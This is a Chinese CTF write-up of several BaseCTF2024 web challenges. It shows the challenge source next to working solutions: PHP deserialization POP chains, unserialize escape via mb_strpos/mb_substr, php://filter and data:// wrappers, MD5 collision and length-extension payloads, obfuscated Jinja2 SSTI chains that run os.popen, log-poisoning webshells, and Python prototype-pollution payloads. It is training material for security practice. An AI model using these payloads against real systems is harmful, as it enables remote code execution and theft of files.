BaseCTF2024(部分web题解)
Really EZ POP
题目
<?php
highlight_file(__FILE__);
class Sink
{
private $cmd = 'echo 123;';
public function __toString()
{
eval($this->cmd); # 可执行命令
}
}
class Shark
{
private $word = 'Hello, World!'; # new Sink
public function __invoke()
{
echo 'Shark says:' . $this->word; # 触发tostring
}
}
class Sea
{
public $animal; # new Shark
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
} # 触发invoke
}
class Nature
{
public $sea; # new Sea
public function __destruct()
{
echo $this->sea->see; # 触发get
}
}
if ($_POST['nature']) {
$nature = unserialize($_POST['nature']);
}
解
<?php
highlight_file(__FILE__);
class Sink
{
private $cmd = "system('cat /flag');";
# 注意存在 private 字段, 由于php版本低于 7.1+, 所以我们需要保留好他的访问性
public function __toString()
{
eval($this->cmd); # 可执行命令
}
}
class Shark
{
private $word; # new Sink
public function __construct() #构造方法使private也能实例化类
{
$this->word=new Sink();
}
}
class Sea
{
public $animal; # new Shark
}
class Nature
{
public $sea; # new Sea
}
$a=new Nature();
$a->sea=new Sea();
$a->sea->animal=new Shark();
echo urlencode(serialize($a));
?>
# serialize后私有属性名称会变为:\0类名\0属性名,手动复制\0可能会丢失
ez_php
考点
- php引用赋值
- 让类为NULL触发__destruct,gc回收机制
- 利用mb_strpos和mb_substr的差异逃逸字符
- 特殊变量名传参时的处理
题目
<?php
highlight_file(__file__);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
# 获取data中[]内容
}
class Hacker{
public $start;
public $end;
public $username="hacker"; # new C
public function __construct($start){
$this->start=$start;
}
public function __wakeup(){
$this->username="hacker";
$this->end = $this->start;
}
public function __destruct(){ # 触发tostring
if(!preg_match('/ctfer/i',$this->username)){
echo 'Hacker!';
}
}
}
class C{
public $c; # new T
public function __toString(){
$this->c->c(); # 触发call
return "C";
}
}
class T{
public $t; # new F
public function __call($name,$args){
echo $this->t->t; # 触发get
}
}
class F{
public $f; # new E
public function __get($name){
return isset($this->f->f); #触发isset
}
}
class E{
public $e; # new R
public function __isset($name){
($this->e)(); # 触发invoke
}
}
class R{
public $r;
public function __invoke(){
eval($this->r); # 执行命令
}
}
if(isset($_GET['ez_ser.from_you'])){
$ctf = new Hacker('{{{'.$_GET['ez_ser.from_you'].'}}}');
if(preg_match("/\[|\]/i", $_GET['substr'])){
die("NONONO!!!");
}
$pre = isset($_GET['substr'])?$_GET['substr']:"substr";
$ser_ctf = substrstr($pre."[".serialize($ctf)."]");
$a = unserialize($ser_ctf);
throw new Exception("杂鱼~杂鱼~");
}
应急知识点补充
1.mb_strpos与mb_substr执行差异
每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节
每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节
解
需要解决 5 个问题:
-
构造 POP 链 - 触发
eval执行代码 -
绕过
__wakeup- 防止username被重置 -
绕过异常抛出 - 让
__destruct提前触发 -
特殊变量名传参 -
ez_ser.from_you的处理 -
反序列化逃逸 - 利用
substrstr的字节/字符差异
1.
# 构造链:Hacker->__destruct()->C->__toString()->T->__call()->F->__get()->E->__isset()->R->__invoke()
$a = new Hacker("start");
$a -> start = new C();
$a -> start -> c = new T();
$a -> start -> c -> t = new F();
$a -> start -> c -> t -> f = new E();
$a -> start -> c -> t -> f -> e = new R();
$cmd = 'system("cat /f*");'; # 想执行的命令
$a -> start -> c -> t -> f -> e ->r = $cmd;
2.
观察发现在wakeup中有对$end的赋值
可以让$end 和 $username 相互引用
$a->end = &$a->username;
利用$this->end = $this->start;重新给username赋值
3.
有⼀个throw new Exception("杂⻥~杂⻥~");的异常抛出,使得
__destruct 不能触发,需要使⽤gc回收机制,使 __destruct 提前触发
$b=array('a'=>$a,'b'=>null);
echo serialize($b);
然后将最后的s:1:"b";N;}
改为s:1:"a";N;}
也就是让a为null进而触发__destruct
4.
特殊变量名 ez_ser.from_you ,传⼊ ez[ser.from_you 即可绕过
当 php 版本⼩于 8 时,GET 请求的参数名含有 . ,会被转为 _ ,但是如果参数名中有 [ ,这个 [ 会被直接转为 _ ,但是后⾯如果有 . ,这个 . 就不会被转为 _ 。
5.
#利用mb_strpos和mb_substr的差异
#观察到题目中
$ctf = new Hacker('{{{'.$_GET['ez_ser.from_you'].'}}}');
# 给参数套三层括号
$ser_ctf = substrstr($pre."[".serialize($ctf)."]"); # 拼接后截取[]中的内容
$a = unserialize($ser_ctf);
#实际给payload套了“包装”
{
O:6:"Hacker":3:{
s:5:"start";s:227:"{{{payload}}}";
s:3:"end";N;
s:8:"username";s:6:"hacker";
}
#我们需要将包装拆掉,让最后的$a = unserialize($ser_ctf); 接收到的参数没有包装
#也就是去掉开头的O:6:"Hacker":3:{s:5:"start";s:227:"{{{
根据需要截断的数量判断$pre = isset($_GET['substr'])?$_GET['substr']:"substr"; 该如何搭配%f0abc %f0%9fab %f0%9f%9fa
ez_php_jail
考点
- highlight_file(glob("/f*")[0])的使用
- 特殊变量名url传参时的处理
题目
<?php
highlight_file(__FILE__);
error_reporting(0);
include("hint.html");
$Jail = $_GET['Jail_by.Happy'];
if($Jail == null) die("Do You Like My Jail?");
function Like_Jail($var) {
if (preg_match('/(`|\$|a|c|s|require|include)/i', $var)) {
return false;
}
return true;
}
if (Like_Jail($Jail)) {
eval($Jail);
echo "Yes! you escaped from the jail! LOL!";
} else {
echo "You will Jail in your life!";
}
echo "\n";
// 在HTML解析后再输出PHP源代码
?>
解
?咦,注释是什么意思
看眼F12发现
oh you find me! I am in ./cGgwX2luZm9fTGlrZV9qYWlsLnBocA==
解码是ph0_info_Like_jail.php
访问一下看看

这又是啥意思
不管了,看正则过滤不少,system,echo,ls都不行
怎么做呢,看眼wp吧

1. highlight_file('/f*')
这个用法是直接传递一个字符串 '/f*' 给 highlight_file。然而,这种用法是无效的,因为 highlight_file 需要一个具体的文件路径,而不是一个模式。'/f*' 只是一个模式,PHP 不会将其解析为文件路径。因此,这种用法会导致错误。
2. highlight_file(glob("/f*")[0])
这个用法是有效的。这里的 glob("/f*") 会返回一个数组,包含所有匹配 /f* 模式的文件路径。[0] 取数组中的第一个元素(即第一个匹配的文件路径),然后将其传递给 highlight_file。如果存在匹配的文件,这种用法将成功读取并高亮显示该文件的内容。
原来如此,而且对这个特殊变量名的处理也解释了ez_php这道题如何处理变量名了
payload
?Jail[by.Happy=highlight_file(glob("/fl*")[0]);
Aura 酱的礼物
考点
- 伪协议
- 简单SSRF
题目
<?php
highlight_file(__FILE__);
// Aura 酱,欢迎回家~
// 这里有一份礼物,请你签收一下哟~
$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{
die('这是 Aura 的礼物,你不是 Aura!');
}
// 礼物收到啦,接下来要去博客里面写下感想哦~
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
die('这不是 Aura 的博客!');
}
$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
die('请去博客里面写下感想哦~');
}
// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~
$gift = $_POST['gift'];
include($gift); 这是 Aura 的礼物,你不是 Aura!
解
$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{
die('这是 Aura 的礼物,你不是 Aura!');
}
在⽂件读取的情况下,利⽤ data:// 伪协议:
• data://text/plain,⼀串内容 可以读取出 ⼀串内容
• data://text/plain;base64,xxxxxxxx 其中 xxxxxxx 会被Base64解码后再读取出内
容所以我们此处可以使⽤:
• data://text/plain,Aura
• data://text/plain;base64,QXVyYQ==
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
die('这不是 Aura 的博客!');
}
challenge=http://jasmineaura.github.io@127.0.0.1
$gift = $_POST['gift'];
include($gift);
php://filter/convert.base64-encode/resource=flag.php
所以你说你懂 MD5?
题目
<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?
$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
die('加强难度就不会了?');
}
// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
die('难吗?不难!');
}
// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
die('嘻嘻, 不会了? 没看直播回放?');
}
// 你以为这就结束了
if (!isset($_SESSION['random'])) {
$_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}
// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';
$name = $_POST['name'] ?? 'user';
// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
die('不是管理员也来凑热闹?');
}
$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
die('伪造? NO NO NO!');
}
// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');
解
前三个都比较简单
apple[]=1&banana[]=2&appple=240610708&bananana=QNKCDZO&apppple=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&banananana=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
拿到md5($random)=4af6045eff1ff7caf77296f0e9e088a5

最终payload
apple%5B%5D=1&banana%5B%5D=2&appple=240610708&bananana=QNKCDZO&apppple=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&banananana=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&md5=2ffc3369124ee0e4a37dffe1a4922a83&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin
复读机
题目

解
第一步:确认SSTI漏洞
Payload:
BaseCTF{%print(''['_''_cl''ass_''_'])%}
原理:
''- 空字符串,在Python中是一个对象['_''_cl''ass_''_']- 用单引号分割__class__关键字,绕过WAF过滤- Python会把
_''_cl''ass_''_拼接成__class__
- Python会把
__class__返回对象所属的类,空字符串的类是<class 'str'>
第二步:寻找RCE类
Payload:
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137])%}
原理:
__base__- 获取基类(object)__subclasses__()- 获取所有子类[137]- 索引137对应的类是os._wrap_close,这个类可以执行系统命令
第三步:执行命令获取flag
法一:chr构造/
Payload:
BaseCTF
{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%}
{% set cmd='cat '~chr(47)~'flag' %}
{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen'](cmd)['rea''d']())%}
原理:
-
获取chr函数:
__init__- 获取初始化方法__globals__- 获取全局变量__builtins__['chr']- 获取chr函数,用于构造字符
-
构造命令:
chr(47)返回/(因为过滤了斜杠,不能直接写)'cat '~chr(47)~'flag'拼接成cat /flag
-
执行命令:
popen(cmd)- 执行系统命令read()- 读取命令输出
关键绕过技巧
| 过滤字符 | 绕过方法 |
|---|---|
__class__ |
_''_cl''ass_''_(单引号分割) |
/ |
chr(47)(用chr函数构造) |
. |
使用 [] 代替(如 ''['__class__'] 代替 ''.__class__) |
这道题展示了SSTI漏洞的典型利用链:模板注入 → 类继承链 → RCE → 读取flag
法二:利⽤环境变量的值
查看环境变量,可以看到 OLDPWD=/
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']
()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('env')['rea''d']())%}
此时可以直接利⽤它来切换到根⽬录,然后再读flag
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']
()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('cd $OLDPWD;cat
flag')['rea''d']())%}
法三:利⽤ expr substr 切割出⼀个 /
⽐如pwd中的第⼀个字符就是 / ,那⽤ expr substr 切割出来后,之后就可以像法⼆那样切换
到根⽬录然后读flag了
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']
()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('a=`pwd`;a=`substr
$a 1 1`;cd $a;cat flag')['rea''d']())%}
滤个不停
题目
<?php
highlight_file(__FILE__);
error_reporting(0);
$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];
if ($incompetent !== 'HelloWorld') {
die('写出程序员的第一行问候吧!');
}
//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;
foreach ($required_chars as $char) {
if (strpos($Datch, $char) === false) {
$is_valid = false;
break;
}
}
if ($is_valid) {
$invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];
foreach ($invalid_patterns as $pattern) {
if (stripos($Datch, $pattern) !== false) {
die('此路不通换条路试试?');
}
}
include($Datch);
} else {
die('文件名不合规 请重试');
}
?>
解
简单的日志包含
incompetent=HelloWorld&Datch=/var/log/nginx/access.log
利用UA头进行rce<?php system('cat /f*');?>
第一次做的时候怎么也拿不到flag,怀疑是因为刚开始尝试的时候Datch输错了一回,导致$is_valid = false;,于是无法通过if ($is_valid) 。
但是!PHP是"无状态"的,每次请求都是独立的!
只能归咎于靶机的问题了
玩原神玩的
补充知识点
-
在 PHP 中,
sizeof()函数用于计算数组中的元素数量或对象中的属性数量。 -
empty检查是否为空
题目
<?php
highlight_file(__FILE__);
error_reporting(0);
include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
ys_open($_GET['tip']);
} else {
die("错了!就你还想玩原神?❌❌❌");
}
function ys_open($tip) {
if ($tip != "我要玩原神") {
die("我不管,我要玩原神!😭😭😭");
}
dumpFlag();
}
function dumpFlag() {
if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
die("可恶的QQ人!😡😡😡");
}
$a = $_POST['m'][0];
$b = $_POST['m'][1];
if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
die("某站崩了?肯定是某忽悠干的!😡😡😡");
}
include 'flag.php';
$flag[] = array();
for ($ii = 0;$ii < sizeof($array);$ii++) {
$flag[$ii] = md5(ord($array[$ii]) ^ $ii);
}
echo json_encode($flag);
} 错了!就你还想玩原神?❌❌❌
代码审计先
include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
ys_open($_GET['tip']);
} else {
die("错了!就你还想玩原神?❌❌❌");
}
需要len是数组且元素个数和array相同,然后调用ys_open函数
function ys_open($tip) {
if ($tip != "我要玩原神") {
die("我不管,我要玩原神!😭😭😭");
}
dumpFlag();
}
条件很好满足,继续往下看
function dumpFlag() {
if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
die("可恶的QQ人!😡😡😡");#要存在m参数,且为拥有两个元素的数组
}
$a = $_POST['m'][0];
$b = $_POST['m'][1];
if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
die("某站崩了?肯定是某忽悠干的!😡😡😡");#很好理解,不解释了
}
include 'flag.php';
$flag[] = array();
for ($ii = 0;$ii < sizeof($array);$ii++) {#猜测$array就是包含flag的数组
$flag[$ii] = md5(ord($array[$ii]) ^ $ii);
}#获取array的每个元素ASCII码,对$ii异或运算,然后md5
echo json_encode($flag);
} 错了!就你还想玩原神?❌❌❌
满足前面的条件就可以拿到\(flag的json编码结果,也就是真正flag的`每个元素ASCII码,对\)ii异或运算,然后md5`的结果
我们逆向分析写脚本运算
对输出的内容json解码,获取数组,取出每一个元素
然后定义一个参数a,for (\(ii = 0;\)ii < sizeof(此处暂时留空);\(ii++),要求a的ASCII码对\)ii异或运算后的结果等于上面取出的元素
最后脚本
<?php
highlight_file(__FILE__);
// 换成你给的最新地址
$challenge_url = "http://challenge.imxbt.cn:31381/?";
$post = "";
// 构造 len 数组
for ($i = 0; $i < 45; $i++) {
$post .= "len[]=" . $i . "&";
}
// GET 参数 tip
$get = "tip=" . "我要玩原神";
// POST 参数 m
$post .= "m[]=" . urlencode("100%") . "&m[]=" . urlencode("love100%" . md5("100%"));
echo "<br>URL: " . $challenge_url . $get . "<br>";
echo "POST Data: " . $post . "<br><br>";
// 发起 cURL 请求
$curl = curl_init();
curl_setopt_array($curl, [
CURLOPT_URL => $challenge_url . $get,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => $post,
CURLOPT_HTTPHEADER => [
'Content-Type: application/x-www-form-urlencoded',
],
]);
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
die("cURL 错误:" . $err);
}
echo "服务器返回:" . $response . "<br><br>";
// 解析 MD5 数组
preg_match('/\[\"(.*?)\"\]/', $response, $matches);
if (empty($matches)) {
die("无法解析返回数据");
}
$json = '["' . $matches[1] . '"]';
echo "MD5 Array: " . $json . "<br><br>";
$md5_array = json_decode($json, true);
$flag = '';
// 暴力异或运算,还原 flag
for ($ii = 0; $ii < count($md5_array); $ii++) {
for ($ascii = 0; $ascii < 256; $ascii++) {
if (md5($ascii ^ $ii) === $md5_array[$ii]) {
$flag .= chr($ascii);
break;
}
}
}
// 输出最终 flag
echo "✅ 成功拿到 flag:" . $flag;
?>
或者ai改良的版本,借此学习下写脚本可能用的语法
<?php
highlight_file(__FILE__);
// 换成你给的最新地址
$challenge_url = "http://challenge.imxbt.cn:31381/?";
$post = "";
// 构造 len 数组
for ($i = 0; $i < 45; $i++) {
$post .= "len[]=" . $i . "&";
}
// GET 参数 tip
$get = "tip=" . "我要玩原神";
// POST 参数 m
$post .= "m[]=" . urlencode("100%") . "&m[]=" . urlencode("love100%" . md5("100%"));
echo "<br>URL: " . $challenge_url . $get . "<br>";
echo "POST Data: " . $post . "<br><br>";
// 发起 HTTP 请求
$options = [
'http' => [
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'method' => 'POST',
'content' => $post,
'timeout' => 30,
],
];
$context = stream_context_create($options);
$response = file_get_contents($challenge_url . $get, false, $context);
if ($response === false) {
die("HTTP 请求失败");
}
echo "服务器返回:" . $response . "<br><br>";
// 解析 MD5 数组
$start = strpos($response, '["');
$end = strrpos($response, '"]');
if ($start === false || $end === false) {
die("无法解析返回数据");
}
$json = substr($response, $start, $end - $start + 2);
echo "MD5 Array: " . $json . "<br><br>";
$md5_array = json_decode($json, true);
$flag = '';
// 暴力异或运算,还原 flag
for ($ii = 0; $ii < count($md5_array); $ii++) {
for ($ascii = 0; $ascii < 256; $ascii++) {
if (md5($ascii ^ $ii) === $md5_array[$ii]) {
$flag .= chr($ascii);
break;
}
}
}
// 输出最终 flag
echo "✅ 成功拿到 flag:" . $flag;
?>
逆向还原的⽰例说明:
假设服务器返回的JSON数据为:
["d41d8cd98f00b204e9800998ecf8427e","098f6bcd4621d373cade4e832627b4f6"]
这个JSON数据对应的Flag可能只有两个字符,且这两个字符的ASCII码与其位置索引分别为0和1的异
或结果是d41d8cd98f00b204e9800998ecf8427e和098f6bcd4621d373cade4e832627b4f6。
我们通过枚举ASCII码可以发现:
• 对于第⼀个字符,md5(ASCII码^0)等于d41d8cd98f00b204e9800998ecf8427e,这意味着该字符
是\0(即ASCII值为0的字符)。
• 对于第⼆个字符,md5(ASCII码^1)等于098f6bcd4621d373cade4e832627b4f6,这意味着该字符
是a(即ASCII值为97的字符)。
最终拼接得到的Flag就是:\0a。
圣钥之战1.0
函数介绍
json.loads() 是 Python 标准库 json 模块中的一个函数,用于将 JSON 格式的字符串解析为 Python 对象。
import json
# JSON 字符串 → Python 对象
json_str = '{"name": "Alice", "age": 25, "city": "Beijing"}'
data = json.loads(json_str)
print(type(data)) # <class 'dict'>
print(data) # {'name': 'Alice', 'age': 25, 'city': 'Beijing'}
print(data['name']) # Alice
题目
J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
from flask import Flask,request
import json
app = Flask(__name__)
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False
class cls():
def __init__(self):
pass
instance = cls()
@app.route('/', methods=['GET', 'POST'])
def hello_world():
return open('/static/index.html', encoding="utf-8").read()
@app.route('/read', methods=['GET', 'POST'])
def Read():
file = open(__file__, encoding="utf-8").read()
return f"J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
{file}
"
@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
if request.is_json:
merge(json.loads(request.data),instance)
else:
return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)
解
粗略看一下代码,要求我们传入json格式数据,然后进入merge(json.loads(request.data),instance)函数
我们看一下merge原理
def merge(src, dst):
for k, v in src.items():#获取src的键和值分别作为k和v
if hasattr(dst, '__getitem__'):#如果dst包含__getitem__(也就是可以用[]取值)
if dst.get(k) and type(v) == dict:#如果dst存在k键,并且v的值为字典
merge(v, dst.get(k))
#重新开始merge函数,参数为src的某个值(这个值也应当为字典)和dst的k键
else:
dst[k] = v#将v值赋给dst的k键
elif hasattr(dst, k) and type(v) == dict:#对应v是字典的情况
merge(v, getattr(dst, k))#赋值给dst的k属性
else:
setattr(dst, k, v)#设置dst的k属性的值为v
好眼熟,python原型链污染
大体逻辑就是把src的键值都合并给dst,如果src存在嵌套式的内容就拆出来给dst(这样最后dst不会存在嵌套)
再回到调用merge函数的位置merge(json.loads(request.data),instance)
两个参数分别是字典格式的request数据和instance
instance应该就是我们要污染的目标,具体是啥不清楚
这里要注意!
getattr(dst, k)是dst为对象的情况下使用的,是调用dst对象的k属性,格式是对象.属性
dst.get(k)是dts为字典的情况下使用的,是调用dst字典的k键,格式是dst[k]
所以我们想要污染就要默认instance是一个对象,然后用字典污染他
paylaod
{"__init__":{"__globals__":{"__file__":"/flag"}}}
注意修改Content-Type: application/json
题目
<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>');
}
echo new $J1ng($Hong);
?>
解
利用原生类
?K=DirectoryIterator&W=/secret/
J=SplFileObject&H=php://filter/read=convert.base64-encode/resource=/secret/f11444g.php
Jinja Mark
题目
BLACKLIST_IN_index = ['{','}']
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
@app.route('/magic',methods=['POST', 'GET'])
def pollute():
if request.method == 'POST':
if request.is_json:
merge(json.loads(request.data), instance)
return "这个魔术还行吧"
else:
return "我要json的魔术"
return "记得用POST方法把魔术交上来"
解
法一
这里可以看到BLACKLIST_IN_index = [‘{‘,’}’],这里就禁用了{}所以直接ssti就有问题,很明显想让我们通过原型链污染来将其污染掉,其实也挺简单,可能/magic就是污染的地方,将上传的地方改为json再进行上传即可
{
"__init__":{
"__globals__":{
"BLACKLIST_IN_index":""
}
}
}
最后就是在index中进行简单的ssti即可
{{config.__class__.__init__.__globals__['os'].popen('cat /f*').read()}}
法二
这里再讲一个非预期解,其实这里还是可以通过第一个原型链污染的方法污染静态代码目录来读取flag,和第一个的一样
{
"__init__":{
"__globals__":{
"app":{
"_static_folder":"./"
}
}
}
}
最后访问/static/flag即可
Flask 默认配置:
app._static_folder = "static" # 字符串,不是文件夹!
意思是:访问 /static/flag
→ 去项目目录下的 static 文件夹里找
你污染后:
app._static_folder = "./"
意思是:访问 /static/flag→ 去服务器根目录 / 里找!
法三
{
"__init__" : {
"__globals__" : {
"app" : {
"jinja_env" :{
"variable_start_string" : "<<","variable_end_string":">>"
}
}
}
}
}
成功后再去/index进行注入即可,构造payload:<<config.__class__.__init__.__globals__['os'].popen('cat /flag').read()>>
Jinja2 模板引擎允许自定义变量标记:
python
from jinja2 import Environment
# 默认配置
env = Environment(
variable_start_string='{{', # 变量开始标记
variable_end_string='}}', # 变量结束标记
block_start_string='{%', # 块开始标记
block_end_string='%}', # 块结束标记
comment_start_string='{#', # 注释开始标记
comment_end_string='#}' # 注释结束标记
)
污染后Jinja2 的语法标记已改变:
- 原来:
{{ variable }} - 现在:
<< variable >>
1z_php
<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧?
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
for ($i=0;$i<strlen($emp);$i++){
if (ctype_alpha($emp[$i])){
die("你不是hacker?那请去外场等候!");
}
}
echo "只有真正的hacker才能拿到flag!"."<br>";
if (preg_match('/.+?HACKER/is',$try)){
die("你是hacker还敢自报家门呢?");
}
if (!stripos($try,'HACKER') === TRUE){
die("你连自己是hacker都不承认,还想要flag呢?");
}
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
if(stripos($b,'php')!==0){
die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();
}
else
{
die("114514到底是啥意思嘞?。?");
}
# 觉得困难的话就直接把shell拿去用吧,不用谢~
$shell=$_POST['shell'];
eval($shell);
?>
这里直接提交shell没用,但是最后出的时候调用又可以
首先注意参数的合法,需要将第一个_改为[才可以不让后面的.解析为_
这里第一个if有两个绕过方法
?e[m.p=0337522 //这个通过八进制绕过 或者
?e[m.p=114514.2 //通过小数绕过
后面这两个if有些矛盾,如果想直接绕过很困难,先分析一下
preg_match('/.+?HACKER/is',$try)//这里通过匹配多个字符在HACKER前面,忽略大小写和通过多行匹配,这里如果HACKER前面没用字符就不会匹配成功
!stripos($try,'HACKER') === TRUE //这里就是如果HACKER在最开始的位置出现就为true
后面的stripos没有办法绕过,但是前面的正则可以通过正则回溯来进行绕过
| 模式 | 匹配策略 | 回溯方式 |
|---|---|---|
贪婪 .* |
先匹配最长,然后逐步减少 | 从后往前吐字符 |
非贪婪 .*? |
先匹配最短,然后逐步增加 | 从前往后加字符 |
import requests
url = 'http://challenge.basectf.fun:49472/?e[m.p=0337522'
data = {
'try': 'aaaa' * 250001 + 'HACKER'
}
r = requests.post(url=url, data=data).text
print(r)
最后面就是一个原生类调用
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
if(stripos($b,'php')!==0){
die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();
这里需要调用类的一个方法,可以想到通过fgets来读取文件
fgets可以换成getCurrentLine或者fpassthru()或者__toString
&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=fgets
import requests
url = 'http://challenge.basectf.fun:49472/?e[m.p=0337522&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=fgets'
data = {
'try': 'aaaa' * 250001 + 'HACKER'
}
r = requests.post(url=url, data=data).text
print(r)
解码即可
这里也可以再提交shell来rce,但是还得构造好payload之后,真的不知道原来干嘛的
import requests
url = 'http://challenge.basectf.fun:49472/?e[m.p=0337522&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=fgets'
data = {
'try': 'aaaa' * 250001 + 'HACKER',
'shell':"system('cat f*');"
}
r = requests.post(url=url, data=data).text
print(r)
Lucky Number
题目
原型链污染的大手可以伸很长的哦
你不会以为这里真的有flag吧?
想要flag的话先提交我的幸运数字5346
但是我的主人觉得我泄露了太多信息,就把我的幸运数字给删除了
但是听说在heaven中有一种create方法,配合__kwdefaults__可以创造出任何事物,你可以去/m4G1c里尝试着接触到这个方法
下面是前人留下来的信息,希望对你有用
from flask import Flask,request,render_template_string,render_template
from jinja2 import Template
import json
import heaven
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class cls():
def __init__(self):
pass
instance = cls()
BLACKLIST_IN_index = ['{','}']
def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False
@app.route('/m4G1c',methods=['POST', 'GET'])
